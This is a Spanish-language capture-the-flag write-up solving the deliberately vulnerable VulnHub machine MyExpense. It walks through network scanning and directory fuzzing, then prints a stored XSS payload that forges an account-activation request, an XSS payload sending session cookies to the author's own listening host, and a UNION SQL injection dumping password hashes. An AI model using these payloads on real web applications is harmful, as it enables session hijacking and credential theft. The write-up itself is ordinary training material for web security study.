MyExpense
Introducción
En este artículo, explicaré cómo resolví el CTF de la máquina virtual MyExpense. Describo paso a paso las técnicas y herramientas utilizadas para encontrar y explotar las vulnerabilidades presentes.
Información de la Máquina Virtual
- Nombre: MyExpense
- Autor: Sh4rpf0rc3
- Nivel de Dificultad: Fácil
- Descripción:
MyExpense es una aplicación web deliberadamente vulnerable que te permite entrenarte en la detección y explotación de diferentes vulnerabilidades. A diferencia de una aplicación de “desafío” más tradicional (que te permite entrenarte en una única vulnerabilidad específica), MyExpense contiene un conjunto de vulnerabilidades que debes explotar para lograr el escenario completo.
- Escenario:
Usted es “Samuel Lamotte” y acaba de ser despedido de su empresa “Furtura Business Informatique”. Desgraciadamente, debido a su precipitada marcha, no ha tenido tiempo de validar el informe de gastos de su último viaje de negocios, que aún asciende a 750 € correspondientes a un vuelo de ida y vuelta a su último cliente.
Temiendo que su antiguo empleador no quiera reembolsarle este informe de gastos, decide piratear la aplicación interna llamada “MyExpense”ss para gestionar los informes de gastos de los empleados.
Así que estás en tu coche, en el aparcamiento de la empresa y conectado a la wifi interna (la llave aún no ha sido cambiada tras tu marcha). La aplicación está protegida por autenticación de usuario/contraseña y esperas que el administrador aún no haya modificado o borrado tu acceso.
Tus credenciales eran: samuel/fzghn4lw. Una vez realizado el reto, la bandera se mostrará en la aplicación mientras estés conectado con tu cuenta (samuel).
Paso 0: Instalación/Despliegue
- Descargamos la máquina desde la web de VulnHub (opens in a new tab).
- Le damos doble clic a la ova descargada
- Cambiamos el adaptador de red a adaptador puente
- Encendemos la maquina
Paso 1: Reconocimiento
Escaneo de la Red
Primero realicé un escaneo de los dispositivos de la red para identificar nuestro objetivo.
arp-scan -I etho -l
Después creo una nueva carpeta con el nombre de la máquina para posteriormente entrar al directorio y usar la función mkt(Esta crea 4 carpetas, la llamada content, exploits, nmap y scripts) de mi terminal.
mkdir MyExpense
cd MyExpense
mkt
Ahora en la carpeta de nmap realizo un escaneo inicial para identificar los puertos abiertos y exportarlos a un archivo.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.100.222 -oG allPorts
Resultados del Escaneo:
Para proseguir con la extracción de los puertos que estaban abiertos del archivo y también para el escaneo de los servicios que corren.
extractPorts allPorts
nmap -sCV -p80 192.168.100.222 -oN targeted
Resultado:
Enumeración de Servicios
Ahora se enumeran los directorios de la página web que descubrimos por tener abierto el puerto 80.
gobuster dir -u http://192.168.100.222/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t20
Resultados:
Esto nos índica que hay un directorio llamado admin y que este tiene suma importancia. Para proseguir con un escaneo de los archivos php que pudiera tener este directorio
gobuster dir -u http://192.168.100.222/admin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t20 -x php
Resultado:
Esto nos índica que hay un archivo llamado admin.php en la dirección http://192.168.100.222/admin/
Paso 2: Explotación
Primero accedemos a la página que descubrimos gracias al fuzzing 192.168.100.224/admin/admin.php
al tratar de dar clic al botón de Inactive para activarlo vemos que no es posible, pero notamos una vulnerabilidad al hacer la activación, ya que esta se hace por la petición http://192.168.100.225/admmin/admin.php?id=11&status=active
para ello proseguimos visitando la página para crear una nueva cuenta, en la cual se insertara código de Javascript para probar si es vulnerable a Xss, otro punto a resaltar es que el botón está deshabilitado por código html el cual se puede cambiar desde el inspector de elementos del navegador
resulta que la pagina si es vulnerable al xss.
Lo primero que intentaremos es insertar el código para que nos haga una csrf y valide al usuario al mandar la petición get de activación. Código usado:
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.225/admin/admin.php?id=11&status=active');
request.send();
Al ver la consola nuestro intento fue exitoso
Y listo la activación del usuario por medio del Xss funciona, ya que podemos iniciar sesión con las credenciales que ya tenemos,
Una vez conectado como nuestro usuario tenemos que mandar el reporte para su posterior revision, pero debemos asegurar esto realizando otra inyección de código, ahora en la parte del chat del inicio.
El proceso que se realizara es el Cookie hijacking. De igual manera se inserta código en este input para que se haga una petición a nuestro servido local y acceda al código siguiente:
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.214/?cookie=' + document.cookie);
request.send();
Y listo ya tenemos los inicios de sesión de 3 usuarios
Tras comprobar las cookies he podido iniciar sesión con una y por suerte era de un usuario con cargo superior y también válido el reporte de una vez
Ahora se puede observar una tabla de los usuarios administradores la cual están muy vulnerable a SQLi
se tiene que agregar estos parámetros a la url para que nos muestre los usuarios y contraseñas
http://192.168.100.226/site.php?id=2 union select,group_concat(username,0x3a,password) from user-- -
Hay que al agregarle los saltos de línea y separaciones a estas contraseñas y quedaría algo así:
Ahora solo faltaría crackear la contraseña del usuario pbaudouin que es el encargado de los pagos, se necesita crackear, ya que no están en texto claro pero sí en hash
Y listo, el inicio de sesión con este usuario fue exitoso y también se logró aceptar el pago
Para finalizar tenemos que iniciar sesión con el usuario de samuel y listo nos aparece la flag
Notas
- La máquina la resolví la fecha indicada, pero hacer este “reporte” fue más tardado de lo que esperaba
- Por el transcurso de los días la ip de la máquina objetivo vario en los comandos